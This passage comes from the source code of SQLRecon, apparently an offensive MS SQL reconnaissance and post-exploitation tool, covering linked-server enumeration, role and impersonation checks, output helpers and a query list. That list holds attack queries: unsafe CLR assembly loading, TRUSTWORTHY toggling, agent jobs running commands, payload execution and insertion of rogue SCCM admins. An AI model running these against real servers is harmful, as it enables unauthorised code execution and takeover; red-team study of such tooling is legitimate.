instance. 75 | /// Execution against the last SQL server specified in a chain of linked SQL servers is supported. 76 | /// 77 | internal static void LinkedOrChain(string linkedSqlServer, string[] linkedSqlServerChain = null) 78 | { 79 | // The queries dictionary contains all queries used by this module 80 | // The dictionary key name for RPC formatted queries must start with RPC 81 | Dictionary queries = new Dictionary 82 | { 83 | { "ComputerName", Query.GetComputerName }, 84 | { "DomainName", Query.GetDomainName }, 85 | { "ServicePid", Query.GetServicePid }, 86 | { "rpc_OsMachineType", Query.GetOsMachineType }, 87 | { "rpc_OsVersion", Query.GetOsVersion }, 88 | { "SqlServerServiceName", Query.GetSqlServerServiceName }, 89 | { "rpc_SqlServiceAccountName", Query.GetSqlServiceAccountName }, 90 | { "rpc_AuthenticationMode", Query.GetAuthenticationMode }, 91 | { "rpc_ForcedEncryption", Query.GetForcedEncryption }, 92 | { "Clustered", Query.GetClustered }, 93 | { "SqlVersionNumber", Query.GetSqlVersionNumber }, 94 | { "SqlMajorVersionNumber", Query.GetSqlMajorVersionNumber }, 95 | { "SqlServerEdition", Query.GetSqlServerEdition }, 96 | { "SqlServerServicePack", Query.GetSqlServerServicePack }, 97 | { "OsArchitecture", Query.GetOsArchitecture }, 98 | { "OsVersionNumber", Query.GetOsVersionNumber }, 99 | { "CurrentLogon", Query.GetCurrentLogon }, 100 | { "ActiveSessions", Query.GetActiveSessions } 101 | }; 102 | 103 | // Check to see if the user is a sysadmin. Consider linked SQL server chains. 104 | bool sysadmin = (linkedSqlServerChain == null) 105 | ? Roles.CheckLinkedRoleMembership(Var.Connect, "sysadmin", linkedSqlServer) 106 | : Roles.CheckLinkedRoleMembership(Var.Connect, "sysadmin", null, linkedSqlServerChain); 107 | 108 | // Remove certain queries from the dictionary if the user is not a sysadmin 109 | if (sysadmin == false) 110 | { 111 | queries.Remove("rpc_OsMachineType"); 112 | queries.Remove("rpc_OsVersion"); 113 | queries.Remove("rpc_SqlServiceAccountName"); 114 | queries.Remove("rpc_AuthenticationMode"); 115 | queries.Remove("rpc_ForcedEncryption"); 116 | } 117 | 118 | Dictionary results = new Dictionary(); 119 | 120 | queries = (linkedSqlServerChain == null) 121 | // Format all queries so that they are compatible for execution on a linked SQL server. 122 | ? Format.LinkedDictionary(Var.LinkedSqlServer, queries) 123 | // Format all queries so that they are compatible for execution on the last SQL server specified in a linked chain. 124 | : Format.LinkedChainDictionary(Var.LinkedSqlServersChain, queries); 125 | 126 | foreach (KeyValuePair entry in queries) 127 | { 128 | results.Add(entry.Key, Sql.Query(Var.Connect, queries[entry.Key])); 129 | } 130 | 131 | Console.WriteLine(); 132 | Console.WriteLine(Print.ConvertDictionaryToMarkdownTable(results, "Object", "Value")); 133 | } 134 | 135 | /// 136 | /// The GetInfoViaUdpRequest method will send a UDP request to 137 | /// port 1434 on the remote SQL server along with the magic byte value 138 | /// of 0x02 to receive information about the SQL instance. 139 | /// A timeout and port value is optional. 140 | /// DNS resolution is supported. 141 | /// 142 | /// 143 | /// 144 | /// 145 | /// 146 | internal static string GetInfoViaUdpRequest(string sqlServer, int port, int timeout) 147 | { 148 | UdpClient udpClient = new UdpClient(); 149 | 150 | // Check to see if a DNS name, or IP address was provided 151 | bool validateIp = IPAddress.TryParse(sqlServer, out IPAddress ip); 152 | 153 | // If an DNS name was provided, attempt to resolve to IP 154 | if (validateIp == false) 155 | { 156 | try 157 | { 158 | IPHostEntry hostEntry = Dns.GetHostEntry(sqlServer); 159 | 160 | // There are cases when DNS can return multiple IP addresses, select the first one 161 | if (hostEntry.AddressList.Length > 0) 162 | { 163 | ip = hostEntry.AddressList[0]; 164 | } 165 | } 166 | catch (Exception) 167 | { 168 | return Print.Error($"Unable to resolve DNS name for {sqlServer}"); 169 | } 170 | } 171 | 172 | // Ensure that the timeout value is set to milliseconds. Default is 4 seconds. 173 | timeout *= 1000; 174 | udpClient.Client.SendTimeout = timeout; 175 | udpClient.Client.ReceiveTimeout = timeout; 176 | 177 | // Create a new client request 178 | // Default port is UDP 1434 179 | IPEndPoint request = new IPEndPoint(ip, port); 180 | 181 | try 182 | { 183 | udpClient.Connect(request); 184 | 185 | // Send the magic 0x02 byte 186 | udpClient.Send(new byte[] { 2 }, 1); 187 | 188 | byte[] receivedData = udpClient.Receive(ref request); 189 | 190 | // Covert the data received from byte to string 191 | string data = System.Text.Encoding.UTF8.GetString(receivedData); 192 | 193 | Dictionary sqlServerInfo = new Dictionary(); 194 | 195 | // Parse the results into a dictionary 196 | if (!string.IsNullOrEmpty(data)) 197 | { 198 | // The received string will be similar to 199 | // ServerName;SQL01;InstanceName;SQLEXPRESS;IsClustered;No;Version;16.0.1000.6;tcp;1433;;receive data from 172.16.10.101:1434 200 | List result = data.Split(';').ToList(); 201 | 202 | for (int i = 0; i < result.Count; i++) 203 | { 204 | Dictionary dataFields = new Dictionary() 205 | { 206 | { "servername", "Server Name"}, 207 | { "instancename", "Instance Name"}, 208 | { "isclustered", "Is Clustered?"}, 209 | { "version", "Version"}, 210 | { "tcp", "TCP Port"}, 211 | 212 | }; 213 | 214 | foreach (KeyValuePair entry in dataFields) 215 | { 216 | if (result[i].ToLower().Contains(entry.Key)) 217 | { 218 | sqlServerInfo.Add(entry.Value, result[i + 1]); 219 | } 220 | } 221 | } 222 | } 223 | 224 | if (sqlServerInfo.Count > 0) 225 | { 226 | return Print.ConvertDictionaryToMarkdownTable(sqlServerInfo, "Object", "Value"); 227 | } 228 | else 229 | { 230 | return Print.Error($"Unable to connect to UDP port {port.ToString()} on {sqlServer}"); 231 | } 232 | 233 | } 234 | catch (Exception) 235 | { 236 | return Print.Error($"Unable to connect to UDP port {port.ToString()} on {sqlServer}"); 237 | } 238 | } 239 | } 240 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/modules/Roles.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Data.SqlClient; 4 | using System.Linq; 5 | using SQLRecon.Commands; 6 | using SQLRecon.Utilities; 7 | 8 | namespace SQLRecon.Modules 9 | { 10 | internal abstract class Roles 11 | { 12 | /// 13 | /// The StandardOrImpersonation module obtains database user and Windows principals 14 | /// from a remote SQL server. Roles are also obtained. 15 | /// Impersonation is supported. 16 | /// 17 | /// 18 | /// 19 | internal static void StandardOrImpersonation(SqlConnection con, string impersonate = null) 20 | { 21 | // The queries dictionary contains all queries used by this module 22 | Dictionary queries = new Dictionary 23 | { 24 | { "system_user", Query.SystemUser }, 25 | { "user_name", Query.UserName }, 26 | { "roles", Query.Roles }, 27 | { "server_permissions", string.Format(Query.GetPermissions, "SERVER") }, 28 | { "database_access", string.Format(Query.GetDatabaseAccess) }, 29 | { "database_permissions", string.Format(Query.GetPermissions, "DATABASE") } 30 | }; 31 | 32 | // If impersonation is set, then prepend all queries with the 33 | // "EXECUTE AS LOGIN = '" + impersonate + "'; " statement. 34 | if (!string.IsNullOrEmpty(impersonate)) 35 | { 36 | queries = Format.ImpersonationDictionary(impersonate, queries); 37 | } 38 | 39 | Print.Status($"Logged in as {Sql.Query(con, queries["system_user"])}", true); 40 | Print.Status($"Mapped to the user {Sql.Query(con, queries["user_name"])}", true); 41 | 42 | Console.WriteLine(); 43 | Print.Status("Server Permissions:", true); 44 | Console.WriteLine(); 45 | Console.WriteLine(Sql.CustomQuery(con, queries["server_permissions"])); 46 | Console.WriteLine(); 47 | 48 | Print.Status("Database Access:", true); 49 | Console.WriteLine(); 50 | Console.WriteLine(Sql.CustomQuery(con, queries["database_access"])); 51 | Console.WriteLine(); 52 | 53 | Print.Status("Database Permissions:", true); 54 | Console.WriteLine(); 55 | Console.WriteLine(Sql.CustomQuery(con, queries["database_permissions"])); 56 | Console.WriteLine(); 57 | 58 | Print.Status("Database Roles:", true); 59 | 60 | // This SQL command can be run by low privilege users and extracts all 61 | // the observable roles which are present in the current database 62 | // "select name from sys.database_principals where type = 'R'" also works. 63 | string getRoles = Sql.CustomQuery(con, queries["roles"]); 64 | 65 | List rolesList = Print.ExtractColumnValues(getRoles, "name"); 66 | 67 | // These are the default MS SQL database roles. 68 | string[] defaultRoles = 69 | { 70 | "sysadmin", "setupadmin", "serveradmin", "securityadmin", 71 | "processadmin", "diskadmin", "dbcreator", "bulkadmin" 72 | }; 73 | 74 | // Combine all observable roles with the default roles. 75 | string[] combinedRoles = rolesList.Concat(defaultRoles).ToArray(); 76 | 77 | Dictionary roleMembership = new Dictionary(); 78 | 79 | // Test to see if the current principal is a member of any roles. 80 | foreach (string role in combinedRoles) 81 | { 82 | bool result = (string.IsNullOrEmpty(impersonate)) 83 | ? CheckRoleMembership(con, role.Trim()) 84 | : CheckRoleMembership(con, role.Trim(), impersonate); 85 | 86 | if (result) 87 | { 88 | roleMembership[role] = "Yes"; 89 | } 90 | else 91 | { 92 | roleMembership[role] = "No"; 93 | } 94 | } 95 | Console.WriteLine(); 96 | Console.WriteLine(Print.ConvertDictionaryToMarkdownTable(roleMembership, "Role", "Membership")); 97 | } 98 | 99 | /// 100 | /// The LinkedOrChain module obtained database user and Windows principals from a Linked 101 | /// SQL server. Roles are also obtained. 102 | /// Execution against the last SQL server specified in a chain of linked SQL servers is supported. 103 | /// 104 | /// 105 | /// 106 | /// 107 | internal static void LinkedOrChain(SqlConnection con, string linkedSqlServer, string[] linkedSqlServerChain = null) 108 | { 109 | // The queries dictionary contains all queries used by this module 110 | Dictionary queries = new Dictionary 111 | { 112 | { "system_user", Query.SystemUser }, 113 | { "user_name", Query.UserName }, 114 | { "roles", Query.Roles }, 115 | { "server_permissions", string.Format(Query.GetPermissions, "SERVER") }, 116 | { "database_access", string.Format(Query.GetDatabaseAccess) }, 117 | { "database_permissions", string.Format(Query.GetPermissions, "DATABASE") } 118 | }; 119 | 120 | queries = (linkedSqlServerChain == null) 121 | // Format all queries so that they are compatible for execution on a linked SQL server. 122 | ? Format.LinkedDictionary(linkedSqlServer, queries) 123 | // Format all queries so that they are compatible for execution on the last SQL server specified in a linked chain. 124 | : Format.LinkedChainDictionary(linkedSqlServerChain, queries); 125 | 126 | Print.Status($"Logged in as {Sql.Query(con, queries["system_user"])}", true); 127 | Print.Status($"Mapped to the user {Sql.Query(con, queries["user_name"])}", true); 128 | 129 | Console.WriteLine(); 130 | Print.Status("Server Permissions:", true); 131 | Console.WriteLine(); 132 | Console.WriteLine(Sql.CustomQuery(con, queries["server_permissions"])); 133 | Console.WriteLine(); 134 | 135 | Print.Status("Database Access:", true); 136 | Console.WriteLine(); 137 | Console.WriteLine(Sql.CustomQuery(con, queries["database_access"])); 138 | Console.WriteLine(); 139 | 140 | Print.Status("Database Permissions:", true); 141 | Console.WriteLine(); 142 | Console.WriteLine(Sql.CustomQuery(con, queries["database_permissions"])); 143 | Console.WriteLine(); 144 | 145 | Print.Status("Database Roles:", true); 146 | 147 | // This SQL command can be run by low privilege users and extracts all 148 | // the observable roles which are present in the current database 149 | // "select name from sys.database_principals where type = 'R'" also works. 150 | string getRoles = Sql.CustomQuery(con, queries["roles"]); 151 | 152 | List rolesList = Print.ExtractColumnValues(getRoles, "name"); 153 | 154 | // These are the default MS SQL database roles. 155 | string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", 156 | "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" }; 157 | 158 | // Combine all observable roles with the default roles. 159 | string[] combinedRoles = rolesList.Concat(defaultRoles).ToArray(); 160 | 161 | Dictionary roleMembership = new Dictionary(); 162 | 163 | // Test to see if the current principal is a member of any roles. 164 | foreach (string role in combinedRoles) 165 | { 166 | bool result = CheckLinkedRoleMembership(con, role.Trim(), linkedSqlServer); 167 | 168 | if (result) 169 | { 170 | roleMembership[role] = "Yes"; 171 | } 172 | else 173 | { 174 | roleMembership[role] = "No"; 175 | } 176 | } 177 | Console.WriteLine(); 178 | Console.WriteLine(Print.ConvertDictionaryToMarkdownTable(roleMembership, "Role", "Membership")); 179 | } 180 | 181 | /// 182 | /// The CheckServerRole method checks if a user is part of a role. 183 | /// Impersonation is supported. 184 | /// 185 | /// 186 | /// 187 | /// 188 | /// 189 | internal static bool CheckRoleMembership(SqlConnection con, string role, string impersonate = null) 190 | { 191 | // If impersonation is set, then prepend all queries with the 192 | // "EXECUTE AS LOGIN = '" + impersonate + "'; " statement. 193 | string query = !string.IsNullOrEmpty(impersonate) 194 | ? Format.ImpersonationQuery(impersonate, string.Format(Query.CheckRole, role)) 195 | : string.Format(Query.CheckRole, role); 196 | 197 | return Sql.Query(con, query).TrimStart('\n').Equals("1"); 198 | } 199 | 200 | /// 201 | /// The CheckImpersonation method is responsible for determining if a supplied 202 | /// user can be impersonated. 203 | /// 204 | /// 205 | /// 206 | /// 207 | internal static bool CheckImpersonation(SqlConnection con, string user) 208 | { 209 | 210 | // If the user is a sysadmin, return true, as they can impersonate any user. 211 | if (Roles.CheckRoleMembership(Var.Connect, "sysadmin")) 212 | { 213 | return true; 214 | } 215 | 216 | user = user.Replace("'", "''"); 217 | 218 | // Check if a specific user can be impersonated 219 | return Sql.Query(con, string.Format(Query.CheckImpersonation, user)).Equals("1"); 220 | } 221 | 222 | /// 223 | /// The CheckLinkedServerRole method checks if a user is part of a role on a linked SQL server. 224 | /// Execution against the last SQL server specified in a chain of linked SQL servers is supported. 225 | /// 226 | /// 227 | /// 228 | /// 229 | /// 230 | /// 231 | internal static bool CheckLinkedRoleMembership(SqlConnection con, string role, string linkedSqlServer, string[] linkedSqlServerChain = null) 232 | { 233 | // Format the query, so it is compatible for execution on a linked SQL server. 234 | string query = (linkedSqlServerChain == null) 235 | ? Format.LinkedQuery(linkedSqlServer, string.Format(Query.CheckRole, role)) 236 | // Format the query, so it is compatible for execution on the last SQL server specified in a linked chain. 237 | : Format.LinkedChainQuery(linkedSqlServerChain, string.Format(Query.CheckRole, role)); 238 | 239 | return Sql.Query(con, query).TrimStart('\n').Equals("1"); 240 | } 241 | } 242 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/Print.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Data.SqlClient; 4 | using System.Linq; 5 | using System.Text; 6 | using SQLRecon.Commands; 7 | 8 | namespace SQLRecon.Utilities 9 | { 10 | internal abstract class Print 11 | { 12 | /// 13 | /// The ConvertDictionaryToMarkdownTable table converts the data from a dictionary 14 | /// into a Markdown-friendly table format. 15 | /// 16 | /// 17 | /// 18 | /// 19 | /// 20 | internal static string ConvertDictionaryToMarkdownTable(Dictionary dictionary, string columnOneHeader, string columnTwoHeader) 21 | { 22 | StringBuilder sqlStringBuilder = new StringBuilder(); 23 | 24 | if (dictionary.Count > 0) 25 | { 26 | /* 27 | * Take the headers and add them to the end of the dictionary 28 | * This is done for formatting reasons as the next step is to get the 29 | * length of the longest string in the dictionary, and it is possible 30 | * that a column name is longer than any values. 31 | */ 32 | dictionary.Add(columnOneHeader,columnTwoHeader); 33 | 34 | // Obtain the length of the longest key name and base the width of the first column off this. 35 | int columnOneWidth = dictionary.Max(t => t.Key.Length); 36 | sqlStringBuilder.Append("| ").Append(columnOneHeader.PadRight(columnOneWidth)).Append(" "); 37 | 38 | // Obtain the length of the longest value name and base the width of the second column off this. 39 | int columnTwoWidth = dictionary.Max(t => t.Value.Length); 40 | sqlStringBuilder.Append("| ").Append(columnTwoHeader.PadRight(columnTwoWidth)).Append(" "); 41 | 42 | // New line 43 | sqlStringBuilder.AppendLine("|"); 44 | 45 | // Print the markdown separator for both columns 46 | sqlStringBuilder.Append("| ").Append(new string('-', columnOneWidth)).Append(" "); 47 | sqlStringBuilder.Append("| ").Append(new string('-', columnTwoWidth)).Append(" "); 48 | 49 | // New line 50 | sqlStringBuilder.AppendLine("|"); 51 | 52 | // Iterate over the dictionary and place the values into rows for the Markdown table 53 | // Ignore the last entry as it is just the column names. 54 | for (int i = 0; i < dictionary.Count - 1; i++) 55 | { 56 | KeyValuePair item = dictionary.ElementAt(i); 57 | sqlStringBuilder.Append("| ").Append(item.Key.PadRight(columnOneWidth)).Append(" "); 58 | sqlStringBuilder.Append("| ").Append(item.Value.PadRight(columnTwoWidth)).Append(" "); 59 | sqlStringBuilder.AppendLine("|"); 60 | } 61 | } 62 | return sqlStringBuilder.ToString(); 63 | } 64 | 65 | /// 66 | /// The ConvertSqlDataReaderToMarkdownTable table converts the data from a SqlDataReader 67 | /// into a Markdown-friendly table format. 68 | /// Credit to Azaël MARTIN (n3rada). 69 | /// 70 | /// The SqlDataReader containing the query results. 71 | /// A string containing the results formatted as a Markdown table. 72 | internal static string ConvertSqlDataReaderToMarkdownTable(SqlDataReader reader) 73 | { 74 | StringBuilder sqlStringBuilder = new StringBuilder(); 75 | List columnWidths = new List(); 76 | List rows = new List(); 77 | 78 | if (reader.HasRows) 79 | { 80 | int columnCount = reader.FieldCount; 81 | 82 | // Initialize column widths with header lengths 83 | for (int i = 0; i < columnCount; i++) 84 | { 85 | columnWidths.Add(reader.GetName(i).Length); 86 | } 87 | 88 | // Read data and calculate column widths 89 | while (reader.Read()) 90 | { 91 | string[] row = new string[columnCount]; 92 | 93 | for (int i = 0; i < columnCount; i++) 94 | { 95 | string cellValue = reader.GetValue(i).ToString(); 96 | row[i] = cellValue; 97 | columnWidths[i] = Math.Max(columnWidths[i], cellValue.Length); 98 | } 99 | 100 | rows.Add(row); 101 | } 102 | 103 | // Ensure column names are checked for width after data read 104 | for (int i = 0; i < columnCount; i++) 105 | { 106 | string columnName = reader.GetName(i).Equals("") ? "column" + i.ToString() : reader.GetName(i); 107 | columnWidths[i] = Math.Max(columnWidths[i], columnName.Length); 108 | } 109 | 110 | // Print the column names 111 | for (int i = 0; i < columnCount; i++) 112 | { 113 | string columnName = reader.GetName(i).Equals("") ? "column" + i.ToString() : reader.GetName(i); 114 | sqlStringBuilder.Append("| ").Append(columnName.PadRight(columnWidths[i])).Append(" "); 115 | } 116 | 117 | sqlStringBuilder.AppendLine("|"); 118 | 119 | // Print the markdown separator 120 | for (int i = 0; i < columnCount; i++) 121 | { 122 | sqlStringBuilder.Append("| ").Append(new string('-', columnWidths[i])).Append(" "); 123 | } 124 | 125 | sqlStringBuilder.AppendLine("|"); 126 | 127 | // Print the data rows 128 | foreach (string[] row in rows) 129 | { 130 | for (int i = 0; i < columnCount; i++) 131 | { 132 | sqlStringBuilder.Append("| ").Append(row[i].PadRight(columnWidths[i])).Append(" "); 133 | } 134 | 135 | sqlStringBuilder.AppendLine("|"); 136 | } 137 | } 138 | return sqlStringBuilder.ToString(); 139 | } 140 | 141 | /// 142 | /// The Debug method adds a debug message to the beginning 143 | /// of a provided string. This method prints by default. 144 | /// 145 | /// 146 | /// 147 | internal static void Debug(string sqlOutput) 148 | { 149 | if (Var.Debug && Var.Verbose) 150 | { 151 | Console.WriteLine($"[VERBOSE] {sqlOutput}"); 152 | } 153 | else if (Var.Debug) 154 | { 155 | Console.WriteLine($"[DEBUG] {sqlOutput}"); 156 | } 157 | else if (Var.Verbose) 158 | { 159 | Console.WriteLine($"[VERBOSE] {sqlOutput}"); 160 | } 161 | else 162 | { 163 | Console.WriteLine($"[-] {sqlOutput}"); 164 | } 165 | } 166 | 167 | /// 168 | /// The DebugQueries method is used to print a dictionary consisting of 169 | /// SQL queries. The method returns a boolean value which enables logic to be 170 | /// in place to gracefully exit the program, or continue with execution. 171 | /// 172 | /// 173 | /// 174 | internal static bool DebugQueries(Dictionary queries) 175 | { 176 | if (Var.Debug) 177 | { 178 | Debug($"SQL queries used for this module:"); 179 | 180 | foreach (KeyValuePair q in queries) 181 | { 182 | Nested($"{q.Key} -> {q.Value}", true); 183 | } 184 | 185 | return true; 186 | } 187 | else 188 | { 189 | return false; 190 | } 191 | 192 | } 193 | 194 | /// 195 | /// The Error method adds an error message to the beginning 196 | /// of a provided string. 197 | /// 198 | /// 199 | /// If set to true, write the string to console, 200 | /// otherwise, return the modified string. 201 | /// 202 | internal static string Error(string sqlOutput, bool print = false) 203 | { 204 | if (print) 205 | { 206 | Console.WriteLine($"[X] {sqlOutput}"); 207 | return ""; 208 | } 209 | else 210 | { 211 | return $"[X] {sqlOutput}"; 212 | } 213 | } 214 | 215 | /// 216 | /// The ExtractColumnValues method parses the result of a SQL query, 217 | /// and returns a list of values for a specified column. 218 | /// Credit to Azaël MARTIN (n3rada). 219 | /// 220 | /// The result of the SQL query as a string. 221 | /// The name of the column to extract values from. 222 | /// A list of values for the specified column. 223 | internal static List ExtractColumnValues(string queryResult, string columnName) 224 | { 225 | if (string.IsNullOrWhiteSpace(queryResult)) 226 | { 227 | return new List(); 228 | } 229 | 230 | string[] lines = queryResult.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries); 231 | if (lines.Length < 2) 232 | { 233 | return new List(); 234 | } 235 | 236 | List headers = lines[0].Split('|', (char)StringSplitOptions.RemoveEmptyEntries) 237 | .Select(h => h.Trim()) 238 | .ToList(); 239 | int columnIndex = headers.IndexOf(columnName); 240 | if (columnIndex == -1) 241 | { 242 | return new List(); 243 | } 244 | 245 | return lines.Skip(2) // Skip the header and separator lines 246 | .Select(line => line.Split('|', (char)StringSplitOptions.RemoveEmptyEntries)) 247 | .Where(columns => columns.Length > columnIndex) 248 | .Select(columns => columns[columnIndex].Trim()) 249 | .ToList(); 250 | } 251 | 252 | /// 253 | /// The IsOutputEmpty method checks to see if a string is empty 254 | /// or null before providing a generic message. 255 | /// 256 | /// 257 | /// If set to true, write the string to console, 258 | /// otherwise, return the modified string. 259 | /// 260 | internal static string IsOutputEmpty(string sqlOutput, bool print = false) 261 | { 262 | if (print) 263 | { 264 | Console.WriteLine((string.IsNullOrWhiteSpace(sqlOutput)) 265 | ? "[+] No results." 266 | : sqlOutput); 267 | return ""; 268 | } 269 | else 270 | { 271 | return (string.IsNullOrWhiteSpace(sqlOutput)) 272 | ? "[+] No results." 273 | : sqlOutput; 274 | } 275 | } 276 | 277 | /// 278 | /// The Nested method adds an arrow to the beginning 279 | /// of a provided string. 280 | /// 281 | /// 282 | /// If set to true, write the string to console, 283 | /// otherwise, return the modified string. 284 | /// 285 | internal static string Nested(string sqlOutput, bool print = false) 286 | { 287 | if (print) 288 | { 289 | Console.WriteLine($" |-> {sqlOutput}"); 290 | return ""; 291 | } 292 | else 293 | { 294 | return $" |-> {sqlOutput}"; 295 | } 296 | } 297 | 298 | /// 299 | /// The Status method adds a status indicator to the beginning 300 | /// of a provided string. 301 | /// 302 | /// 303 | /// If set to true, write the string to console, 304 | /// otherwise, return the modified string. 305 | /// 306 | internal static string Status(string sqlOutput, bool print = false) 307 | { 308 | if (print) 309 | { 310 | Console.WriteLine($"[*] {sqlOutput}"); 311 | return ""; 312 | } 313 | else 314 | { 315 | return $"[*] {sqlOutput}"; 316 | } 317 | } 318 | 319 | /// 320 | /// The Success method adds a success message to the beginning 321 | /// of a provided string. 322 | /// 323 | /// 324 | /// If set to true, write the string to console, 325 | /// otherwise, return the modified string. 326 | /// 327 | internal static string Success(string sqlOutput, bool print = false) 328 | { 329 | if (print) 330 | { 331 | Console.WriteLine($"[+] {sqlOutput}"); 332 | return ""; 333 | } 334 | else 335 | { 336 | return $"[+] {sqlOutput}"; 337 | } 338 | } 339 | 340 | /// 341 | /// The Warning method adds a warning message to the beginning 342 | /// of a provided string. 343 | /// 344 | /// 345 | /// If set to true, write the string to console, 346 | /// otherwise, return the modified string. 347 | /// 348 | internal static string Warning(string sqlOutput, bool print = false) 349 | { 350 | if (print) 351 | { 352 | Console.WriteLine($"[!] WARNING: {sqlOutput}"); 353 | return ""; 354 | } 355 | else 356 | { 357 | return $"[!] WARNING: {sqlOutput}"; 358 | } 359 | } 360 | } 361 | } 362 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/commands/Queries.cs: -------------------------------------------------------------------------------- 1 | namespace SQLRecon.Commands 2 | { 3 | internal abstract class Query 4 | { 5 | internal static readonly string AddClrHash = "EXEC sp_add_trusted_assembly 0x{0},N'{1}, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';"; 6 | 7 | internal static readonly string AddSccmAdmin = "INSERT INTO RBAC_Admins(AdminSID,LogonName,DisplayName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (@adminSID,'{0}','{1}',0,0,'','','','','{2}')"; 8 | 9 | internal static readonly string AddSccmAdminPrivileges = "INSERT INTO [dbo].[RBAC_ExtendedPermissions] (AdminID,RoleID,ScopeID,ScopeTypeID) Values"; 10 | 11 | internal static readonly string AlterDatabaseTrustOn ="ALTER DATABASE {0} SET TRUSTWORTHY ON;"; 12 | 13 | internal static readonly string AlterDatabaseTrustOff ="ALTER DATABASE {0} SET TRUSTWORTHY OFF;"; 14 | 15 | internal static readonly string CheckClrHash = "SELECT * FROM sys.trusted_assemblies WHERE hash = 0x{0};"; 16 | 17 | internal static readonly string CheckImpersonation = "SELECT 1 FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' AND b.name = '{0}'"; 18 | 19 | internal static readonly string CheckRole = "SELECT IS_SRVROLEMEMBER('{0}')"; 20 | 21 | internal static readonly string CheckSccmAdminId = "Select AdminID from [dbo].[RBAC_Admins] where AdminSID = CAST(@data as VARBINARY)"; 22 | 23 | internal static readonly string CheckSccmAdmins = "Select AdminID, AdminSID, LogonName from [dbo].[RBAC_Admins] where AdminSID = CAST(@data as VARBINARY)"; 24 | 25 | internal static readonly string CheckSccmDatabase = "select name FROM sys.tables WHERE name = 'RBAC_Admins';"; 26 | 27 | internal static readonly string CreateAgentJob = "use msdb;EXEC dbo.sp_add_job @job_name = '{0}';EXEC sp_add_jobstep @job_name = '{0}', @step_name = '{1}', @subsystem = '{2}', @command = '{3}', @retry_attempts = 1, @retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = '{0}';"; 28 | 29 | internal static readonly string CreateAssembly = "CREATE ASSEMBLY {0} FROM 0x{1} WITH PERMISSION_SET = UNSAFE;"; 30 | 31 | internal static readonly string CreateLdapServer = "CREATE ASSEMBLY {0} AUTHORIZATION [dbo] FROM 0x{1} WITH PERMISSION_SET = UNSAFE;"; 32 | 33 | internal static readonly string DeleteAgentJob = "use msdb; EXEC dbo.sp_delete_job @job_name = '{0}';"; 34 | 35 | internal static readonly string DeleteSccmAdmin = "Delete from [dbo].[RBAC_Admins] where AdminID={0}"; 36 | 37 | internal static readonly string DeleteSccmUser = "Delete from [dbo].[RBAC_ExtendedPermissions] where "; 38 | 39 | internal static readonly string DropAdsiAssembly = "DROP ASSEMBLY IF EXISTS {0};"; 40 | 41 | internal static readonly string DropAdsiFunction = "DROP FUNCTION IF EXISTS {0};"; 42 | 43 | internal static readonly string DropClrAssembly = "DROP ASSEMBLY IF EXISTS {0};"; 44 | 45 | internal static readonly string DropClrHash = "EXEC sp_drop_trusted_assembly 0x{0};"; 46 | 47 | internal static readonly string DropFunction = "use msdb; DROP FUNCTION IF EXISTS {0};"; 48 | 49 | internal static readonly string DropProcedure = "DROP PROCEDURE IF EXISTS {0};"; 50 | 51 | internal static readonly string EnableAdvancedOptions = "EXEC sp_configure 'show advanced options', 1;"; 52 | 53 | internal static readonly string ExecuteAgentJob = "use msdb; EXEC dbo.sp_start_job '{0}'; WAITFOR DELAY '00:00:05';"; 54 | 55 | internal static readonly string ExecutePayload = "EXEC {0}"; 56 | 57 | internal static readonly string GetActiveSessions = "SELECT COUNT(*) FROM [sys].[dm_exec_sessions] WHERE status = 'running';"; 58 | 59 | internal static readonly string GetAdsiLinkName = "SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;"; 60 | 61 | internal static readonly string GetAgentJobs = "SELECT job_id, name, enabled, date_created, date_modified FROM msdb.dbo.sysjobs ORDER BY date_created;"; 62 | 63 | internal static readonly string GetAgentStatus = "SELECT dss.[status], dss.[status_desc] FROM sys.dm_server_services dss WHERE dss.[servicename] LIKE 'SQL Server Agent (%';"; 64 | 65 | internal static readonly string GetAssemblies = "SELECT * FROM sys.assemblies"; 66 | 67 | internal static readonly string GetAssembly = "SELECT * FROM sys.assemblies where name = '{0}';"; 68 | 69 | internal static readonly string GetAssemblyModules = "SELECT * FROM sys.assembly_modules"; 70 | 71 | internal static readonly string GetAuthenticationMode = "DECLARE @AuthenticationMode INT EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'Software\\Microsoft\\MSSQLServer\\MSSQLServer', N'LoginMode', @AuthenticationMode OUTPUT (SELECT CASE @AuthenticationMode WHEN 1 THEN 'Windows Authentication' WHEN 2 THEN 'Windows and SQL Server Authentication' ELSE 'Unknown' END);"; 72 | 73 | internal static readonly string GetAuditStatus = "SELECT SERVERPROPERTY('IsAuditEnabled') AS IsAuditEnabled;"; 74 | 75 | internal static readonly string GetClustered = "SELECT CASE SERVERPROPERTY('IsClustered') WHEN 0 THEN 'No' ELSE 'Yes' END"; 76 | 77 | internal static readonly string GetColumns = "use {0}; SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '{1}' ORDER BY ORDINAL_POSITION;"; 78 | 79 | internal static readonly string GetComputerName = "SELECT @@SERVERNAME;"; 80 | 81 | internal static readonly string GetCurrentLogon = "SELECT SYSTEM_USER;"; 82 | 83 | internal static readonly string GetDatabases = "SELECT dbid, name, crdate, filename FROM master.dbo.sysdatabases;"; 84 | 85 | internal static readonly string GetDatabaseAccess = "SELECT name FROM sys.databases WHERE HAS_DBACCESS(name) = 1;"; 86 | 87 | internal static readonly string GetDatabaseUsers = "SELECT name AS username, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type FROM sys.database_principals WHERE type NOT IN ('A', 'R', 'X') AND sid IS NOT null AND name NOT LIKE '##%' ORDER BY 